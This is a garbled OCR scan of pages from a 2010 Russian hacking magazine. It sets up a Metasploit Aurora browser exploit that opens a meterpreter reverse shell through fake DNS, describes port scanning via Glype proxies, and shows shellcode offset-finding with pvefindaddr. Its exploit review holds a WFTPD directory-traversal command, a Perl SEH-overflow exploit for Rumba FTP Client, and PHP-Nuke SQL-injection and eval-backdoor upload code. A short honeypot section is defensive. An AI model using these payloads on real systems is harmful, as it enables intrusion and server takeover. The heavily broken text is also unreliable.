||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
ВЗЛОМ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
nslookup digininja.reload 192.168.0.101 |
|
set PAYLOAD windows/meterpreter/reverse_tcp |
|
|
|
set LPORT 4444 |
|
где192.168.0.101 — IP поддельногоDNS, digininja.reload — «указание» обновить |
|||
set LHOST 192.168.0.101 |
|||
dns.txt (можнопоменятьвпеременнойRELOAD вMSF). |
set SRVPORT 80 |
||
Далее. Создаем сайт с начинкой. Эксплойт подбираем под браузер |
set URIPATH / |
||
жертвы. Начинка — meterpreter. Тема заезжена, потому кратко. Юзаем |
exploit |
||
Аврору. |
|
||
Вобщем-то, все. Припопыткежертвызайтинаgoogle.ru, онапопадеткнам, и… |
|||
|
|
||
use exploit/windows/browser/ms10_002_aurora |
|
шеллполучен. |
|
|
|
|
¹ 5 ЗАДАЧА: ЗАДЕТЕКТИТЬИСПОЛЬЗОВА-
НИЕGOOGLE-ХАКОВИСКАНИРОВАНИЕ ДИРЕКТОРИЙВЕБ-СЕРВЕРА
РЕШЕНИЕ:
Google(ианалогичныепоисковики)имеютгигантскиебазыпроиндексированных,закэшированныхстраниц,оченьчастохранящихважнуюсточки зрениябезопасностиинформацию.Спомощьюспециальныхзапросов можнодостаточнопростовыискатьсерверасуязвимымПО.Поэтомухакеры оченьчастоприбегаюткгуглохакамисканерамдлявыявленияслабыхместв защитесервера.
Длятого,чтобыопределитьтакиедействия,можносоздатьхонипот.На ghh.sourceforge.net можноскачатьхонипоты,заточенныеподгуглохаки, плюспочерпнутьинформациюпоэтойтеме.Итак,дляхонника,выложенного надиске:
1.Разархивируем хонипот;
2.Файл config.php и файл логов кидаем в папку, недоступную для просмотра, то есть не в htdocs (для Apache);
3.Остальные файлы, кроме readme.txt, кидаем куда-нибудь в htdocs;
4.В config.php указываем путь до файла логов и тип логов;
5.Отключаем RegisterGlobals в php.ini, если оно вообще нужно;
6.Íà какой-нибудь из страниц нашего сайта делаем скрытую для глаза ссылку, например, так: <a href=http://example.com/ honeypot.php>.</a>, указав цвет точки под цвет фона сайта;
7.В index.php нашего пота указываем путь до config.php и адрес страницы, откуда идет ссылка на наш хонник.
Все.Послеэтогождем,покапоисковикипроиндексируютнашхонипот. Обовсехзаходахнахонипот,будьтопоисковыйпаук,сканериликакой-нибудь человек,тысможешьузнатьизфайлалогов.Конечно,вычислитьчеловекаты врядлисможешь,новыделитьхотябыкакую-тоинформациюдлятого,чтобы покопатьсяпотомвлогахапачаипонятьобщееразвитиеатаки—этоможно. Кромеобычныхтекстовыхлогов,можноиспользоватьMySQLилиXMLRPC, чтоявноповышаетвозможности реагирования.
Кстати,еслиестьжеланиеповыситьсвойуровеньюзанияГугладляпоиска либоуязвимыхсайтов,либодругойинформации,томожешьзаглянутьна hackersforcharity.org/ghdb/. Здесьсодержитсясамаябольшаябазадля
поискаПО,стандартныхошибокит.д.Почерпнутьопытатакжеможно,найдя книжку«GoogleHackingforPenetrationTestersbyJohnnyLong».
Хонипотилогиотнего
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
044 |
|
XÀÊÅÐ 07 /138/ 10 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
¹ 6 ЗАДАЧА: АНОНИМНОСГРАБИТЬЗАГО-
ЛОВКИСЕРВИСОВНАСЕРВЕРЕ
РЕШЕНИЕ:
Способовмасса, ноестьодин— грубоватый, нозабавный. Длянашейцелиможновоспользоватьсяплохонастроеннымианонимайзерами. Фишкавтом, что php’шныеglype-проксикипозволяютприопределенныхусловияхконнектиться клюбымпортамсерверови, ктомуже, возвращатьзаголовкиответовсервисов.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Все, чтонамтребуется, этоуказатьномерпортапослеименисерверавида example.com:22, где22 — номерпорта. И, еслипортзакрыт, нампокажутошибку «couldn’t connect to host», аеслиоткрыт, тозаголовоксервиса. Дляпримера можнопобаловатьсянаwww2.de.com/index.php.
В«промышленныхмасштабах» технология, вероятно, несамаялучшая, нов ограниченныхусловиях— оченьдаже. Болеетого, естьдажеконцепт-скрипт дляавтоматизациисканирования, которыйинадискеесть, искачатьможнос sensepost.co.za/labs/tools/pentest/glype. Ктомуже, количествообщедоступ-
ныхglype-анонимазировоченьвелико, дажепунктикестьвGHDB.
¹ 7 ЗАДАЧА: УПРОСТИТЬПРОЦЕССНАПИ-
САНИЯЭКСПЛОЙТОВ/ШЕЛЛКОДОВ
РЕШЕНИЕ:
В последних номерах ][ публиковалось много материала о написании эксплойтов. Примеры приводились в основном в Olly Debugger’е и большая часть действий производилась вручную. Как ни странно, существуют более заточенные вещи с учетом специфики эксплойтописания. Для начала — Immunity Debugger. Это, в хорошем смысле, клон Ollydbg версии 1.10. Из основного — приделанная поддержка Python’a для написания дополнений, коих создано уже очень много. Последняя рабочая версия — 1.73 выложена на диске (с 1.74 что-то не срослось из-за количества глюков в ней). Кстати, программа вряд ли будет нормально работать, если установить ее или Python в какоенибудь нестандартное место. Теперь к главному. Широкоизвестный в узких кругах Peter Van Eeckhoutte aka corelanc0d3r выпустил отличный плагин к ImmunityDbg — pvefindaddr.
Сам проект достаточно быстро развивается, так что лучше скачать пос-
леднюю версию с www.corelan.be:8800/index.php/security/pvefindaddr- py-immunity-debugger-pycommand. На диске выложена версия 1.32. Для установки дополнения требуется:
1.Скачать pvefindaddr.py;
2.В папке ImmunityDbg’ра кинуть его PyCommands.
ПроверитьработоспособностьможночерезкоманднуюстрокуImmunityDbg. Вводим!pvefindaddr, ивокне(L)og’a появитсяописаниеплагина.
Плагинсодержитвсебеоченьмноговсякихфишек, которыепомогаютвэксплойтописаниииизбавляютотрутинныхдел. Приведунесколькопримеров. Находимджампынарегистры:
!pvefindaddr j esp user32.dll
Врезультатеплагинпокажетнамвлогевсеjmp, call, push+ret ит.д. дляуказателянавершинустэкадлябиблиотекиuser32.dll исохранититогвj.txt.
Находимoffset’ыиспользуяpvefindaddr
Поискoffset’ов при переполнениибуфера. Дляпримера возьмемстатью АлексеяСинцова «Глумимсянад объектамиActiveX» изапрельского номера][ . Используемплагинвместо написанияскрипта вComRaider’е.
СоздаемпаттернвстилеMetasploit’а.
!pvefindaddr pattern_create 500
КопируемеговаргументвскриптезапускауязвимойфункцииSubmintToExpress
arg1="Aa0Aa1A…Aq3Aq4Aq5Aq"
Запускаемскриптвдебаггере. СмотримESI — 37694136, SEH — 6B41316B. Пишем:
!pvefindaddr pattern_offset 37694136 500 !pvefindaddr pattern_offset 6B41316B 500
ESI начинаетсяс260 байта, SEH с304. ИщеммодулидляобходаASLR иDEP’a:
!pvefindaddr noaslr
Плагин выведет список dll’ок, к которым можно привязаться, так как они скомпилированы без поддержки рандомизации адресного пространства. Как видишь, вещь — стоящая, так что обязательно приглядись к ней получше. z
|
|
|
|
|
|
|
|
|
XÀÊÅÐ 07 /138/ 10 |
045 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
ВЗЛОМ
Алексей Синцов, Digital Security dookie@inbox.ru
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ОБЗОР ЭКСПЛОЙТОВ
Этот месяц был не таким плодотворным на качественные эксплойты, видимо, погода сделала свое дело — кому охота сидеть за дебаггером, когда на улице солнце. Но все же кое-что интересное я для вас подготовил. И помните, все это не для того, чтобы нарушать статьи УК РФ, а для того, чтобы учится на чужих ошибках и быть в курсе актуальных угроз.
Послевыходаизшелла, готовимсякпринудительнойперезагрузке.
01ВЫХОДЗАПРЕДЕЛЫДОМАШНЕЙДИ-
РЕКТОРИИ ВWFTPD SERVER
CVE
N/A
TARGETS
*WFTPD Server 3.30
BRIEF
WFTPD Server — FTP-сервердляОСWindows (кстати, небесплатный). Даннаяпрограммасодержиточеньхарактернуюошибку. Аналогич- нуюошибкунаходилиивдругихFTP-серверахоттакихименитых производителейкакCisco, HTC, Serv-U имногихдругих. Поэтомуне лишнимбудетещеразобратитьвниманиенаклассическиепросчеты программистов.
EXPLOIT
ЛогикаFTP-сервисавтом, чтоукаждогопользователяестьсвоядиректория, иработатьондолженвсвоейрабочейпапке. Понятно, что этоделодолжнобытьзащищено. Программисты— людинеглупые, и последовательность“../” фильтруют.
MKD ../../../../../ZLOBA
550 You do not have rights to create that subdirectory.
Ноневнимательностьгубитлюбоехорошееначинание. Так, например, следующийзапросвыполнитсябезпроблем:
MKD c:\zloba
257 "c:\zloba" directory created
Чтож, очевидно, чтокромеотносительногопутиможноуказатьи абсолютный. Будьвнимателен.
SOLUTION
Решениянет. РазветольконеиспользоватьWFTPD длямногопользовательскогодоступапоFTP.
02 ПЕРЕПОЛНЕНИЕБУФЕРАВRUMBA FTP CLIENT
CVE
N/A
TARGETS]
* Rumba FTP Client 4.2
BRIEF
Чтож, ошибкибываютнетольковплатныхFTP-серверах, ноив платныхFTP-клиентах. Уязвимостьпереполнениябуфера— вотчто хранитвсебеэтотклиент.
EXPLOIT
ЭксплойтпредставляетсобойсимуляторFTP-сервера, которыйотвечает нанекоторыекомандыиждет, когдажеунегоспросятлистингфайлов. Ивмомент, когдаклиентэтосделает, сервер-эксплойтпошлет(в пассивномрежиме, поэтомуеслииспользоватьэксплойтудаленно, нужнопоменятьпеременную$pasvip) имяфайла, причемоченьдлинное. Настолькодлинное, чтоперезапишетSEH-дескрипторивызовет исключительнуюситуацию. Естественно, обрабатываяисключительную ситуацию, клиентперейдетвSEH-цепочку, вершинукоторыймыперезаписали. Такчто«обработчиком» исключительнойситуациистанетнаш шелл-код, которыйзапускаеткалькулятор. Разберемэксплойт:
use warnings; use strict;
use IO::Socket;
my $sock = IO::Socket::INET->new( LocalPort => '21', Proto => 'tcp', Listen => '1' )
or die "Socket Not Created $!\n";
046 |
XÀÊÅÐ 07 /138/ 10 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
||||
|
|
X |
|
|
|
|
|
|
|
|
||||
|
- |
|
|
|
|
|
|
d |
|
|
|
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|||
P |
|
|
|
|
|
|
NOW! |
o |
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
||||
w Click |
to |
BUY |
|
m |
|
|
|
|||||||
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|||
|
|
|
|
|
-xcha |
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
ПодключившисьипотыкавкнопочкивFTP-клиенте, яполучил… калькулятор.
# Приветственное сообщение print
"################################################\n"
."# |
Rumba ftp Client 4.2 PASV BoF (SEH) |
#\n" |
."# |
By: zombiefx |
#\n" |
."# |
Listening on port 21 with pasv port of 31337 |
#\n" |
."################################################\n";
#IP для пассивного режима my $pasvip = "127,0,0,1";
#Обработка соединения
while ( my $data = $sock->accept() ) {
print "Client Connected!\nAwaiting Ftp commands: \n"; print $data "220 Gangsta Rap Made Me Do It\r\n";
#Обработка команд — симуляция FTP while (<$data>) {
print;
print $data "331 Anonymous access allowed\r\n" if (/ USER/i);
print $data "230-Welcome to N0 M4Ns l4nd.\r\n230 User logged in.\r\n" if (/PASS/i);
print $data "215 UNIX Type: L8 \r\n" if (/SYST/i); print $data "257 \"/\" is current directory.\r\n" if (/
PWD/i); |
|
print $data "200 Type set to I.\r\n" |
if (/TYPE I/i); |
print $data "200 Type set to A.\r\n" |
if (/TYPE A/i); |
print $data "214 Syntax: SITE - (site-specific commands)\ r\n"
if (/HELP/i); #Готовимся к передаче…
print $data "227 Entering Passive Mode ($pasvip,122,105)\ r\n"
if (/PASV/i);
#Запрос листинга директории, вызываем основную функцию if (/LIST/i) {
print $data "150 Here comes the directory listing.\r\n"
. "226 Directory send OK.\r\n"; &senddata( '122', '105' );
}
}
print "Payload delivered check the client!\n";
}
#Основная функция sub senddata {
my $port = $_[0] * 256 + $_[1]; #Ждем клиента для пересылки
my $pasvsock = IO::Socket::INET->new( LocalPort => $port, Proto => 'tcp', Listen => '1' );
my $pasvdata = $pasvsock->accept(); #Первые 1351 байт — мусор
my $junk = "\x77" x 1351;
#Перезаписываем SEH-дескриптор адресом 0x1006E534 #по этому адресу — ftplogic.dll и инструкции,
#POP EDI/POP ESI/RETN #которые вернут нас в стек
my $seh = pack( 'V', 0x1006E534 );# located in ftplogic. dll
#Это инструкция JMP +0x8,
#так как следующие несколько байтов будут испорчены my $nseh = "\xeb\x06\x90\x90";
#шеллкод, на который будет прыжок на пятый NOP из-за предыдущей инструкции:
my $nops = "\x90" x 50;
my $calcshell = /* шеллкод */;
XÀÊÅÐ 07 /138/ 10 |
047 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
ВЗЛОМ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Закрытиеокошекспровоцируетошибкупамяти.
my $payload = $junk . $nseh . $seh . $nops . $calcshell;
print $pasvdata
"-rw-rw-r-- 1 1176 1176 1060 Apr 23 23:17 test.$payload\r\n\r\n";
}
Эксплойтработаетстабильно, правда, понятно, чтосDEP онработать небудет.
SOLUTION
ОбновитьПО, хотяавтордумает, чтоиноваяверсиятожеуязвима. Так чтолучшенеиспользоватьеговообще...
03 МНОЖЕСТВЕННЫЕУЯЗВИМОСТИВ
PHPNUKE
CVE
N/A
TARGETS
*PHP-Nuke 7.0
*PHP-Nuke 8.1
*PHP-Nuke 8.1.35
BRIEF
ПрошедшиймесяцоказалсядлясоздателейPHP-Nuke неоченьприятным. Чтонеудивительно, ведьвихдетищебылнайденцелыйбукет уязвимостей. ИсследовательМайклБрукс(Michael Brooks) опубликовалэксплойт, который, используяуязвимостиLFI, SQL-инъекции, раскрытияпути, какрезультат, заливаетбэкдорнасервер. Кроме того, этотэксплойтнеобошелсторонойистарыеуязвимости, включаяошибкуphpBB, котораяможетприсутствоватьвPHP-Nuke 7.0. ПрограммаБруксанаписананаPHP иподдерживаетиспользование прокси, авкомментарияхданыгугль-хаксоветы, чтоделаетэтот эксплойткрайненеприятнымиможетиспользоватьсянетолько скрипт-киддисами, ноичервяками.
EXPLOIT
Веськодэксплойтазанимаетполтысячистроккода, ипоэтомуцеликомегоятутприводитьнебуду, лишьинтересныекусочки. Разумеется, полнуюверсиюэксплойтатывсегдасможешьнайтинанашем диске, ноисключительновцеляхсамопроверки. ВедьPHP-Nuke
достаточнопопулярныйдвижок, поэтомустоитпровериться. Вдруг тывопасности? Ладно, хватитлирики, приступаемкделу. Эксплойт запускаетсяэлементарно:
"c:\Program Files\PHP\php.exe" nuke.php -t http://<target_site>
ДляэксплуатациипоследнейверсииPHP-Nuke нужнахотькакая-то учетнаязапись, поэтомуэксплойттребуетcookie:
"c:\Program Files\PHP\php.exe" nuke.php -t http://<target_site> -c user=MjphZG1pbjo1ZjRkY2MzYjV hYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6ND A5Ng==
Вэксплойтвстроенасобственнаяфункциядляработысослепыми инъекциями, кодировкистрокит.д. Такчтополучаетсямощныйзверь.
Вкачестветестовогопримера, япопробовалнайтиинъекциюиполучитьхэшадминаспомощьюэтогоэксплойта. Найдяотносительно заброшенныйсайтнаэтомдвижке, проверимстаруюинъекцию, в
полеreferer:
REFERER: '=(select if(true,sleep(10),0) from nuke_ authors limit 1))-- 1
ЭксплойтБруксаиспользуетэтууязвимостьдляполученияхэшаиформированияcookie длядальнейшейзаливкишеллачерездругуюинъекцию, уже новую, нотребующуюправадминистратора, азатемоткрываетбэкдорчерез LFI-баг. Конечно, еслиестьрегистрация, можнопростозарегистрироватьсяииспользоватьужедругуюуязвимость(изарсеналаэксплойта) для полученияучеткиадминаизаливкибэкдора. Эксплойтобходитвстроенные фильтрызащитыотинъекций, атакжеправилапоумолчаниюAppArmor’а
дляUbuntu.
Кодзаливкибэкдора:
print "Uploading backdoor...\n"; $remote_path=addslashes(addslashes($remote_path."\\ frontend.php")); $backdoor='get_magic_quotes_gpc()?eval(stripslashes($_ GET["e"])):eval($_GET["e"])'; $http->postdata="chng_uid=".urlencode("' union/**/ select ".$sex->charEncode("<?php").",'".$backdoor."',".$ sex->charEncode("?>"). ",'','','','','','','','','','','','','','','' into outfile '".$remote_path."'-- 1"); $re=$http->send($attack_url."/admin.php?op=modifyUser"); $http->postdata="xsitename=".$values[0]."&xnukeurl=".$ values[1]."&xslogan=".$values[2]."&xstartdate=".$value s[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_
editor=1&xdisplay_errors=0&op=savegeneral"; $error_reporting=$http->send($attack_url."/admin.php");
ФункцияcharEncode () кодируетсимволыдляиспользованияchar() в MySQL. Этосделано, чтобыобойтифильтры. Далееэксплойтоткрывает бэкдор:
$http->postdata="xDefault_Theme=../../../../../../../../
../../../tmp&xoverwrite_theme=0&op=savethemes"; $http->send($attack_url."/admin.php");
Заливкатроянав/tmp какразипозволяетобманутьAppArmor.
048 |
XÀÊÅÐ 07 /138/ 10 |